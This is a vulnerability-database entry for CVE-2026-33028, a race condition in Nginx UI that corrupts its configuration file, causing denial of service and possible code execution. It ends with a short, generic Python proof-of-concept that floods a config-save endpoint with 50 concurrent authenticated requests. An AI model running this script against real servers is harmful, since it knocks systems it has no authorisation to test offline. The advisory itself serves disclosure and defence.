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CVE-2026-33028 CVSS 7.5 HIGH

CVE-2026-33028

Published: 2026-03-30 18:16:19
Last Modified: 2026-04-01 18:45:46

Description

Nginx UI is a web user interface for the Nginx web server. Prior to version 2.3.4, the nginx-ui application is vulnerable to a Race Condition. Due to the complete absence of synchronization mechanisms (Mutex) and non-atomic file writes, concurrent requests lead to the severe corruption of the primary configuration file (app.ini). This vulnerability results in a persistent Denial of Service (DoS) and introduces a non-deterministic path for Remote Code Execution (RCE) through configuration cross-contamination. This issue has been patched in version 2.3.4.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:nginxui:nginx_ui:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:uozi:cosy:*:*:*:*:*:go:*:* - VULNERABLE
Nginx UI < 2.3.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import threading # Target URL (example) target_url = "http://target-url/api/save_config" headers = {"Cookie": "session=..."} data = {"key": "value"} def attack(): try: requests.post(target_url, data=data, headers=headers) except: pass # Send concurrent requests to trigger race condition threads = [] for _ in range(50): t = threading.Thread(target=attack) threads.append(t) t.start() for t in threads: t.join() print("Race condition attack triggered")

References

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